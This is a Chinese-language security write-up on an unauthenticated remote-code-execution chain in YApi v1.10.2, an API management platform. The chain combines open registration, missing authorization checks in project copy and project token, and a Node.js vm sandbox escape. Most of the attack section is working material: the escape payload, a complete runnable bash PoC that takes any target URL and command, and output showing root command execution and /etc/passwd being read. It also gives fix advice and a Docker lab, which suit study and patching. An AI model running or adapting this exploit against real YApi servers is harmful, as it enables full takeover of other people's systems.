YApi v1.10.2 未授权 RCE 漏洞挖掘
本文记录 YApi v1.10.2 中一条完整的未授权 RCE 攻击链的发现与验证过程。 影响版本:`<= v1.10.2` 利用条件:目标开启注册(默认配置) 危害等级:Critical
一、写在前面
YApi 是去哪儿网开源的 API 管理平台,国内中小团队装机量较大。本次审计起因是同事在排查某个内部 YApi 实例时随口提了句"它的脚本测试功能挺有意思",于是决定深入看看。
v1.10.2 之前 YApi 的服务端脚本执行没有总开关,再叠加一处对象级权限缺失,可以拼出一条无需任何预置账号的 RCE 链。
二、审计思路
- 攻击面测绘:定位无需认证即可访问的入口
- 危险 sink 搜索:
eval/vm/child_process/Function构造器 - 权限边界审计:检查每个写操作的对象级鉴权
- 攻击链拼接:把入口与 sink 连起来
- Docker 复现验证
下面按"入口 → 缺陷 → 触发"的顺序展开。
三、入口一:无需登录即可注册
/api/user/reg 处于 ignoreRouter 白名单中,调用时不需要先登录。这本身是设计意图(让用户能自助注册),但配合下面其他缺陷,构成了"无需任何预置账号"的攻击链。
// server/controllers/base.js
let ignoreRouter = [
'/api/user/login_by_token',
'/api/user/login',
'/api/user/reg', // ← 在白名单中
'/api/user/status',
'/api/user/logout',
'/api/user/avatar',
'/api/user/login_by_ldap'
];
if (ignoreRouter.indexOf(ctx.path) > -1) {
this.$auth = true; // 标记为已认证,直接放行
return;
}注册请求示例:
POST /api/user/reg HTTP/1.1
Content-Type: application/json
{"email":"attacker@evil.com","password":"Pass1234!","username":"attacker"}注册是否开放需要探活确认。
/api/user/status 这个接口虽然在白名单里(不会返回 401),但默认情况下仍要求登录才能拿到用户信息:
$ curl http://target/api/user/status
{"errcode":40011,"errmsg":"请登录...","data":null,"ladp":false,"canRegister":true}
# ^^^^^^^^^^^^^^^^^^^^^^^^
# 即使未登录,也能从响应里读出 canRegister
# 关键:canRegister=true 表明允许注册YApi 默认配置中
closeRegister: false,因此绝大多数公网实例都满足前置条件。
四、入口二:凭 token 触发的 open API
部分接口支持项目级 token 鉴权,绕过用户登录态:
// server/controllers/base.js
let openApiRouter = [
'/api/open/run_auto_test', // ← 关键:自动化测试入口
'/api/open/import_data',
'/api/interface/add',
'/api/col/add_case',
'/api/project/up',
// ...
];
if (openApiRouter.indexOf(ctx.path) > -1) {
let token = ctx.query.token || ctx.request.body.token;
if (token && (await this.getProjectIdByToken(token))) {
this.$auth = true; // ← 只验证 token 属于哪个项目,不验证用户
return;
}
}这套设计的本意是给自动化测试场景用,但 /api/project/token 同样缺少对象级鉴权:
// server/controllers/project.js:1010
async token(ctx) {
let project_id = ctx.params.project_id;
let project = await this.Model.Project.findById(project_id);
if (!project) return (ctx.body = yapi.commons.resReturn(null, 404, '项目不存在'));
// 任何登录用户都能拿到任意项目的 token
let tokenData = await this.Model.Token.find({project_id});
return (ctx.body = yapi.commons.resReturn({ token: tokenData[0].token }, 0));
}这意味着只要注册了账号,就能为自己造的项目生成 token,然后无需 cookie 触发 run_auto_test。
五、核心缺陷:project.copy 对象级权限缺失
真正能稳定写任意数据的入口在 project.copy()。源码如下:
// server/controllers/project.js:281 (v1.10.2 源码原文)
async copy(ctx) {
let params = ctx.params;
let copyId = params._id;
if ((await this.checkAuth(params.group_id, 'group', 'edit')) !== true) {
return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
}
let data = Object.assign(params, {
uid: this.getUid(),
add_time: yapi.commons.time(),
up_time: yapi.commons.time(),
_id: undefined
});
delete data._id;
let result = await this.Model.save(data);
return (ctx.body = yapi.commons.resReturn(result, 0));
}逐点分析上面这段 19 行源码,可以看到 3 个问题共同导致了漏洞:
- 只校验目标 group,不校验源项目 — 第 7-9 行只检查了
params.group_id(目标)的 edit 权限,但copyId(源项目)传的是任意项目 ID,服务端完全不验证调用者能否访问它。 - 未清理请求体中的脚本字段 —
Object.assign(params, {...})把ctx.params原样塞进 data,而params里的pre_script/after_script直接进入落库数据。 - Model.save 不做字段白名单 —
this.Model.save(data)会把整个 data 对象写入 MongoDB,包括pre_script/after_script这两个危险字段。
copy 的 schema 显式接受脚本字段(更印证了"这是设计缺陷而非过滤遗漏"):
// server/controllers/project.js:67 (v1.10.2 源码原文)
copy: {
'*name': name,
basepath: basepath,
'*group_id': group_id,
_id: id,
cat,
pre_script: desc,
after_script: desc,
env
}pre_script / after_script 直接出现在 schema 中,进一步说明服务端预期会接受这两个字段——但后端没有限制谁能写入它们。
复制自己的项目时,把 after_script 塞进 payload,服务端会原样写入数据库。
六、sink:v1.10.2 默认执行服务端脚本
run_auto_test 在测试用例执行时,会把项目的 pre_script / after_script 注入到 vm 沙箱中执行:
// server/controllers/open.js:190
async runAutoTest(ctx) {
let projectData = await yapi.getProject(project_id);
let cases = await this.Model.Case.find({ col_id: id });
for (let item of cases) {
// 注入项目的脚本
item.pre_script = projectData.pre_script;
item.after_script = projectData.after_script;
let options = { url: interfaceData.path, method: interfaceData.method };
// 触发 crossRequest → sandbox() → vm.Script
let res = await crossRequest(options, item.pre_script, item.after_script, item.env);
// 结果回显到响应中
list.push({
id: interfaceData._id,
res_body: res.responseData, // ← 命令输出
// ...
});
}
return (ctx.body = yapi.commons.resReturn({...}));
}crossRequest 中 v1.10.2 的执行路径没有总开关:
// common/postmanLib.js:280 (v1.10.2)
async function crossRequest(options, preScript, afterScript) {
let context = {};
context.request = options;
context.responseData = {};
// 【v1.10.2 缺陷】没有 scriptEnable 检查
if (preScript) context = await sandbox(context, preScript);
/* 实际 HTTP 请求省略 */
if (afterScript) context = await sandbox(context, afterScript);
return context.responseData;
}而 v1.11.0 修复后的版本加入了总开关:
// common/postmanLib.js (v1.11.0+)
let scriptEnable = false;
try { scriptEnable = yapi.WEBCONFIG.scriptEnable === true; } catch (err) {}
if (preScript && scriptEnable) context = await sandbox(context, preScript);
if (afterScript && scriptEnable) context = await sandbox(context, afterScript);七、Node.js vm 沙箱逃逸
crossRequest 调用的 sandbox() 直接用 vm 模块执行用户脚本:
// common/postmanLib.js:170
function sandbox(context, script) {
try {
if (!script) return context;
const ctx = vm.createContext(context);
new vm.Script(script).runInContext(ctx, { timeout: 5000 });
return ctx;
} catch (err) { return context; }
}但 Node.js 官方明确说明 vm 不是安全沙箱:
"The vm module is not a security mechanism. Do not use it to run untrusted code."
vm.createContext 只是把传入的对象作为新上下文的全局对象,原型链仍指向宿主进程。可通过以下两步逃逸:
// 1. this → 上下文 → Object.prototype → 拿到 Function 构造器
var f = this.constructor.constructor;
// 2. Function("return process")() → 拿到宿主进程的 process 对象
var p = f("return process")();
// 3. 通过 process.mainModule.require 加载 child_process
p.mainModule.require("child_process").execSync("whoami");完整 Payload(注入到 after_script):
try {
var p = this.constructor.constructor("return process")();
var r = p.mainModule.require("child_process").execSync("whoami").toString();
responseData = { output: r }; // 写入 responseData 会回显
} catch(e) {
responseData = { error: e.message };
}八、完整攻击链
匿名注册 → 获取私有 group → 创建源项目
→ project.copy 注入 after_script
→ 添加接口 + 测试用例
→ 获取项目 token
→ run_auto_test 触发(无需 cookie)
→ vm 沙箱逃逸
→ OS RCE数据流:
[攻击者] [YApi Server]
│ │
│ ① POST /api/user/reg │
│ ──────────────────────────────> │ 自动登录,分配 group
│ │
│ ② POST /api/project/add │
│ ──────────────────────────────> │ src_id = 23
│ │
│ ③ POST /api/project/copy │
│ { "_id": 23, │
│ "after_script": vm逃逸代码 │
│ } │
│ ──────────────────────────────> │ 【缺陷】不校验源项目权限
│ │ 【缺陷】脚本直接落库
│ │ rce_id = 29
│ │
│ ④ POST /api/interface/add │
│ ⑤ POST /api/col/add_case │
│ ⑥ GET /api/project/token │ ← 同样无对象级鉴权
│ ──────────────────────────────> │ token = 87062a9dfab6a8f6
│ │
│ ⑦ GET /api/open/run_auto_test │
│ ?id=20&project_id=29 │
│ &token=87062a9dfab6a8f6 │
│ ──────────────────────────────> │ 【缺陷】仅 token 鉴权
│ │ 读取 after_script
│ │ 调 crossRequest → vm.Script
│ │ 沙箱逃逸 → execSync
│ │
│ <───────────────────────────── │ res_body.output = "root\n"
│ │九、PoC 脚本
完整可运行的 PoC(poc.sh):
#!/usr/bin/env bash
# YApi v1.10.2 未授权 RCE PoC
# 用法:bash poc.sh [target] [cmd]
# bash poc.sh http://target:3000 "id && uname -a"
set -e
TARGET="${1:-http://127.0.0.1:3002}"
CMD="${2:-whoami}"
COOKIE="/tmp/yapi_$$"
# ① 匿名注册
USER="atk_$(date +%s)"
REG=$(curl -sS -c "$COOKIE" -X POST "$TARGET/api/user/reg" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${USER}@e.com\",\"password\":\"Pass1234!\",\"username\":\"$USER\"}")
UID=$(echo "$REG" | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['uid'])")
echo "[+] uid=$UID"
# ② 拿私有 group
GID=$(curl -sS -b "$COOKIE" "$TARGET/api/group/get_mygroup" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data'][0]['_id'])")
echo "[+] group_id=$GID"
# ③ 创建源项目
SRC_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/project/add" \
-H "Content-Type: application/json" \
-d "{\"name\":\"src\",\"basepath\":\"/s\",\"group_id\":\"$GID\",\"project_type\":\"private\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
echo "[+] src_id=$SRC_ID"
# ④ project.copy 注入 vm 逃逸 payload
PAYLOAD='try{var p=this.constructor.constructor("return process")();var r=p.mainModule.require("child_process").execSync("'"$CMD"'").toString();responseData={"output":r}}catch(e){responseData={"error":e.message}}'
RCE_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/project/copy" \
-H "Content-Type: application/json" \
-d "{\"_id\":\"$SRC_ID\",\"name\":\"rce\",\"basepath\":\"/poc\",
\"group_id\":\"$GID\",\"project_type\":\"private\",\"cat\":[],
\"after_script\":\"$PAYLOAD\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
echo "[+] rce_id=$RCE_ID"
# ⑤ 加接口 + 测试集 + 用例
IFACE_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/interface/add" \
-H "Content-Type: application/json" \
-d "{\"project_id\":\"$RCE_ID\",\"title\":\"p\",\"path\":\"/p\",\"method\":\"GET\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
COL_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/col/add" \
-H "Content-Type: application/json" \
-d "{\"project_id\":\"$RCE_ID\",\"name\":\"p\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
curl -sS -b "$COOKIE" -X POST "$TARGET/api/col/add_case" \
-H "Content-Type: application/json" \
-d "{\"col_id\":\"$COL_ID\",\"interface_id\":\"$IFACE_ID\",\"name\":\"p\",\"code\":\"200\"}" >/dev/null
# ⑥ 拿项目 token(同样无对象级鉴权)
TOKEN=$(curl -sS -b "$COOKIE" "$TARGET/api/project/token?project_id=$RCE_ID" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['token'])")
echo "[+] token=${TOKEN:0:16}..."
# ⑦ 触发 run_auto_test(无需 cookie)
RES=$(curl -sS "$TARGET/api/open/run_auto_test?id=$COL_ID&project_id=$RCE_ID&token=$TOKEN&mode=json")
OUT=$(echo "$RES" | python3 -c "
import sys,json
try:
d=json.load(sys.stdin)
b=d['data']['list'][0]['res_body']
if isinstance(b,str): b=json.loads(b)
print(b.get('output',b.get('error','(no output)')))
except Exception as e: print('parse error:',e)")
echo "[+] command: $CMD"
echo "[+] output: $OUT"
rm -f "$COOKIE"十、环境搭建
docker/ 目录提供了一键复现环境:
docker/
├── docker-compose.yml
├── Dockerfile
├── config.json
└── entrypoint.shdocker-compose.yml:
version: '3.8'
services:
mongo:
image: mongo:4.4
restart: unless-stopped
volumes:
- mongo_data:/data/db
yapi:
build: .
restart: unless-stopped
ports:
- "3002:3002"
depends_on:
- mongo
volumes:
mongo_data:Dockerfile:
FROM node:12-buster
WORKDIR /yapi
RUN git clone --depth 1 --branch v1.10.2 https://github.com/YMFE/yapi.git . \
&& npm install --production --no-package-lock --ignore-scripts \
--registry https://registry.npmjs.org \
&& rm -rf /root/.npm /tmp/*
COPY config.json /config.json
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 3002
ENTRYPOINT ["/entrypoint.sh"]config.json(保持默认 closeRegister: false):
{
"port": "3002",
"adminAccount": "admin@admin.com",
"timeout": 120000,
"closeRegister": false,
"db": { "servername": "mongo", "DATABASE": "yapi", "port": 27017, "authSource": "" },
"mail": { "enable": false }
}启动:
cd docker
docker compose up -d --build
# 等待约 2 分钟完成初始化
curl http://127.0.0.1:3002/api/user/status
# {"errcode":40011,"errmsg":"请登录...","data":null,"ladp":false,"canRegister":true}十一、复现验证
执行 whoami:
$ bash poc.sh http://127.0.0.1:3002 whoami
[+] uid=18
[+] group_id=11
[+] src_id=11
[+] rce_id=17
[+] token=ca015d70fafc0aad...
[+] command: whoami
[+] output: root执行
id && uname -a:
$ bash poc.sh http://127.0.0.1:3002 "id && uname -a"
[+] command: id && uname -a
[+] output: uid=0(root) gid=0(root) groups=0(root)
Linux 0a68349fcb29 6.6.87.2-microsoft-standard-WSL2 #1 SMP ...读取
/etc/passwd:
$ bash poc.sh http://127.0.0.1:3002 "cat /etc/passwd | head -3"
[+] command: cat /etc/passwd | head -3
[+] output: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin三次验证均以 Node 进程权限(本例中为 root)执行,证明可执行任意系统命令并获取输出。
十二、漏洞根因汇总
# | 缺陷 | 位置 | 类型 |
1 |
|
| CWE-862 Missing Authorization |
2 |
|
| CWE-862 Missing Authorization |
3 | v1.10.2 默认执行 |
| CWE-94 Code Injection |
4 | Node.js |
| CWE-265 Privilege Issues |
十三、修复建议
1. project.copy 加源项目权限校验(紧急)
// server/controllers/project.js copy() 中添加
if ((await this.checkAuth(copyId, 'project', 'view')) !== true) {
return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
}2. project.copy 拒绝请求体中的脚本字段
delete params.pre_script;
delete params.after_script;
delete params.project_mock_script;3. /api/project/token 加对象级权限
if ((await this.checkAuth(project_id, 'project', 'view')) !== true) {
return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
}4. 脚本执行加总开关并默认关闭
v1.11.0 已加入 scriptEnable,建议回移到所有维护版本,默认值 false。
5. 整体加固
- 默认关闭注册:
closeRegister: true - 用
vm2或isolated-vm替代原生vm - 以非 root 用户运行 Node.js 进程
- 对所有 project/group 写操作做对象级鉴权审查
十四、时间线
时间 | 事件 |
2022-11-01 | YApi v1.11.0 提交 |
2026-06-04 | 本次审计发现完整未授权 RCE 链并本地验证 |
十五、参考
- YApi 官方仓库
- Node.js vm 安全警告
- 修复提交 59bade3:加入 scriptEnable
- 修复提交
432cdfe:修复 Mongo 注入获取 token
十六、免责声明
本文仅用于安全研究和技术交流,请勿用于未授权测试或攻击。未经授权对他人系统进行渗透测试属于违法行为。